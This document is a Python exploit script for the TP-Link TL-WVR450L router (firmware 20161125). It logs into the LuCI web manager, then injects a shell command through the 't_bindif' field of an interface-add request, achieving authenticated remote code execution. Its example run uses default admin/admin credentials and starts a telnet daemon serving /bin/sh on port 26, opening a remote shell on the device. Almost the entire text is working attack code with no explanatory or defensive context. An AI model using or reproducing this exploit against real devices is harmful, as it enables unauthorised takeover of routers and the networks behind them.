# Tested product: TL-WVR450L # Hardware version：V1.0 # Firmware version: 20161125 # The RSA_Encryption_For_Tplink.js is use for Rsa Encryption to the password when login the web manager. # You can download the RSA_Encryption_For_Tplink.js by https://github.com/coincoin7/Wireless-Router-Vulnerability/blob/master/RSA_Encryption_For_Tplink.js import execjs import requests import json import urllib def read_js(): file = open("./RSA_Encryption_For_Tplink.js", 'r') line = file.readline() js = '' while line: js = js + line line = file.readline() file.close() return js def execute(ip, port, username, passwd, cmd): try: s = requests.session() uri = "http://{}:{}".format(ip,port) headers = { 'Content-Type':'application/x-www-form-urlencoded; charset=UTF-8', 'Referer': 'http://{}/webpages/login.html'.format(ip) } payload = { "method":"get" } ret = s.post(uri + '/cgi-bin/luci/;stok=/login?form=login', data=urllib.urlencode({"data":json.dumps(payload)}), headers=headers, timeout=5) rsa_public_n = json.loads(ret.text)['result']['password'][0].encode("utf-8") rsa_public_e = json.loads(ret.text)['result']['password'][1].encode("utf-8") js = read_js() js_handle = execjs.compile(js) password = js_handle.call('MainEncrypt', rsa_public_n, rsa_public_e, passwd) payload = { "method":"login", "params":{ "username":"{}".format(username), "password":"{}".format(password) } } ret = s.post(uri + '/cgi-bin/luci/;stok=/login?form=login', data=urllib.urlencode({"data":json.dumps(payload)}), headers=headers, timeout=5) stok = json.loads(ret.text)['result']['stok'].encode('utf-8') cookie = ret.headers['Set-Cookie'] print '[+] Login success' print '[+] Get The Token: ' + stok print '[+] Get The Cookie: ' + cookie headers = { 'Content-Type':'application/x-www-form-urlencoded; charset=UTF-8', 'Referer':'http://{}/webpages/login.html'.format(ip), 'Cookie':'{}'.format(cookie) } payload = { "method":"add", "params":{ "new":{ "t_name":"0", "t_type":"ethernet", "proto":"static", "t_bindif":";{}".format(cmd), "t_issys":"0", "untag":"0", "t_vlanid":"0", "ipaddr":"0", "netmask":"0", "gateway":"0", "mtu":"0", "dns1":"0", "dns2":"0", "macaddr":"0" } } } ret = s.post(uri + '/cgi-bin/luci/;stok={}/admin/interface?form=interface'.format(stok), data=urllib.urlencode({"data":json.dumps(payload)}), headers=headers, timeout=5) #print ret.text print '[+] Finish RCE' print '————————————————————-' return True except: return False if __name__=='__main__': print '———–Tplink LUCI Interface Authenticated RCE———–' print execute('192.168.1.1', 80, 'admin', 'admin', 'telnetd -p 26 -l /bin/sh')
